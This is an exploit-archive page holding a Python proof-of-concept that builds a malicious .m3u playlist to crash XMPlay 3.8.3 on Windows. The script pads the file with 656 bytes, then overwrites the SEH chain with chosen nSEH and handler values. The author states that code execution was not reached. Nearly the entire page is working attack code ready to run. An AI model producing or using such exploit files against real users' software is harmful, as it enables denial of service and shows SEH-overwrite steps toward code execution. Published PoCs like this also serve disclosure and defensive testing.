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XMPlay 3.8.3 - .m3u Denial of Service Exploit

Author
s7acktrac3
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-31650
Category
dos / poc
Date add
19-11-2018
Platform
windows
# Exploit Title: XMPlay 3.8.3 - '.m3u' Denial of Service (PoC)
# Exploit Author: s7acktrac3
# Vendor Homepage: https://www.xmplay.com/
# Software Link: https://support.xmplay.com/files_view.php?file_id=676
# Version: 3.8.3 (latest)
# Tested on: Windows XP/7/8
# CVE : N/A
#
# Lauch XMPlay and either drag xmplay.m3u into the XMPlay window or
# File Menu-> select winamp.m3u and Crash!
# -*- coding: utf-8 -*-
#
# Note: Successfully can overwrite the SEH chain & control the handler and nSEH
# but the address get mangled & unreconizable, for this reason could not turn into
# code execution.
 
import struct
from struct import pack
 
file_data = "#EXTM3U\n\r"
file_data += "#EXTINF:200,Sleep Away\n\r"
file_data += "http://test."
 
max_size = 3000 - 1
nseh_offset = 656
 
seh_overwrite = pack("<L", 0x00402450)
 
payload = "A" * nseh_offset # padding for nseh
payload += "BBBB"               # nseh
payload += seh_overwrite        # seh
 
#padding for rest of payload - pipe "|" is needed somehow to force crash 
payload += "D" *(max_size - len(payload)) + "|"
print "[+] Creating .m3u file with payload size: "+ str(len(payload))
 
exploit = file_data + payload
 
file = open('xmplay.m3u','w');
file.write(exploit);
file.close();
  
print "[+] Done creating the file"

#  0day.today [2024-12-24]  #